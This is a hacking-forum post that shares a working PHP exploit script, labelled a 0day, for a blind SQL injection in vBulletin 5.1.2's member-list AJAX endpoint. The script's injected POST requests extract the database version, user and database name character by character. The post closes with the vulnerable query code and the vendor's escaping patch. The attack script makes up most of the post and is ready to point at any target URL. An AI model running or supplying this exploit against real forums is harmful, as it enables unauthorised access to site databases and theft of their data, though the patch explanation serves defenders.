HackerTop - View topic - vBulletin 5.1.2 SQL Injection Exploit 0day
View unanswered posts | View active topics It is currently Mon Dec 17, 2018 5:27 pm



Reply to topic  [ 1 post ] 
 vBulletin 5.1.2 SQL Injection Exploit 0day 
Author Message
Site Admin
User avatar

Joined: Sun Jul 24, 2016 6:44 am
Posts: 18
Reply with quote
exploit

Code:
<?php
 
/*
    Author: Nytro
    Powered by: Romanian Security Team
    Price: Free. Educational.
*/
 
 
error_reporting(E_ALL);
ini_set('display_errors', 1);
 
 
// Get arguments
 
 
$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression = str_replace('/', '\\/', $target_url);
 
 
// Function to send a POST request
 
 
function httpPost($url,$params)
{
    $ch = curl_init($url);
 
 
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
     
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
        'Accept: application/json, text/javascript, */*; q=0.01',
        'X-Requested-With: XMLHttpRequest',
        'Referer: https://rstforums.com/v5/memberlist',
        'Accept-Language: en-US,en;q=0.5',
        'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
     ));
 
 
    $output = curl_exec($ch);
     
    if($output == FALSE) print htmlspecialchars(curl_error($ch));
 
 
    curl_close($ch);
    return $output;
}
 
 
// Function to get string between two other strings
 
 
function get_string_between($string, $start, $end)
{
    $string = " ".$string;
    $ini = strpos($string,$start);
    if ($ini == 0) return "";
    $ini += strlen($start);
    $len = strpos($string,$end,$ini) - $ini;
    return substr($string,$ini,$len);
}
 
 
// Get version
 
 
print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection\r\n\r\n";
print "Version: ";
 
 
$result = httpPost($target_url . '/ajax/render/memberlist_items',
        'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1  ,1)--+"+' .
        '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter = 1;
 
 
while(strpos($result, 'No Users Matched Your Query') == false)
{
    $exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
 
 
    $username = get_string_between($exploded[1], '">', '<\/a>');
    print $username[0];
     
    $letter++;
    $result = httpPost($target_url . '/ajax/render/memberlist_items',
            'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(  ),' . $letter . ',1)--+"+' .
            '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get user
 
 
print "\r\nUser: ";
 
 
$result = httpPost($target_url . '/ajax/render/memberlist_items',
        'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1  ,1)--+"+' .
        '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter = 1;
 
 
while(strpos($result, 'No Users Matched Your Query') == false)
{
    $exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
 
 
    $username = get_string_between($exploded[1], '">', '<\/a>');
    print $username[0];
 
 
    $letter++;
    $result = httpPost($target_url . '/ajax/render/memberlist_items',
            'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' . $letter . ',1)--+"+' .
            '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get database
 
 
print "\r\nDatabse: ";
 
 
$result = httpPost($target_url . '/ajax/render/memberlist_items',
        'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  1,1)--+"+' .
        '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter = 1;
 
 
while(strpos($result, 'No Users Matched Your Query') == false)
{
    $exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
 
 
    $username = get_string_between($exploded[1], '">', '<\/a>');
    print $username[0];
 
 
    $letter++;
    $result = httpPost($target_url . '/ajax/render/memberlist_items',
            'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  ' . $letter . ',1)--+"+' .
            '&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
print "\r\n"
 
 
?>
 
-------------------------------------------------------------------------------------------
 
More details:
 
The query was the following:
 
Code:
 
SELECT
                    user.userid, user.username, user.usergroupid AS usergroupid, user.lastactivity, user.options,
                    user.posts, user.joindate, user.usertitle,user.reputation,
                    session.lastactivity AS lastvisit,
                    IF(displaygroupid=0, user.usergroupid,  displaygroupid) AS displaygroupid, infractiongroupid, user.usergroupid
                FROM user AS user
                LEFT JOIN session AS session ON session.userid = user.userid
                WHERE user.username LIKE "D%"
                GROUP BY user.userid
                ORDER BY user.username ASC
                LIMIT 0, 10;
 
The "D" is the controlled parameter. And, the quote (") was NOT escaped.
 
The query was generated with a function from querydefs.php:
 
public function fetchMemberList($params, $db, $check_only = false)
 
 
The vulnerable code:
 
if (!empty($params['startswith']))
{
    if ($params['startswith'] == '#')
    {
        $where[] = 'user.username REGEXP "^[^a-z].?"';
}
    else
    {
        $where[] = 'user.username LIKE "' . $params['startswith'] . '%"';
    }
}
 
 
And the patch contains the fix:
 
if (!empty($params['startswith']))
{
    if ($params['startswith'] == '#')
    {
        $where[] = 'user.username REGEXP "^[^a-z].?"';
}
    else
    {
        $where[] = 'user.username LIKE "' . $db->escape_string_like($params['startswith']) . '%"';
    }
}


So now, the value is escaped and SQL Injection is fixed.
vBulletin team moved really fast in fixing this problem.


Sun Jul 24, 2016 12:07 pm
Profile
Display posts from previous:  Sort by  
Reply to topic   [ 1 post ] 

You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
cron
Copyright © 2003-2016 HackerTop. All rights reserved.
Privacy & Cookies Policy
Community Forum Software by phpBB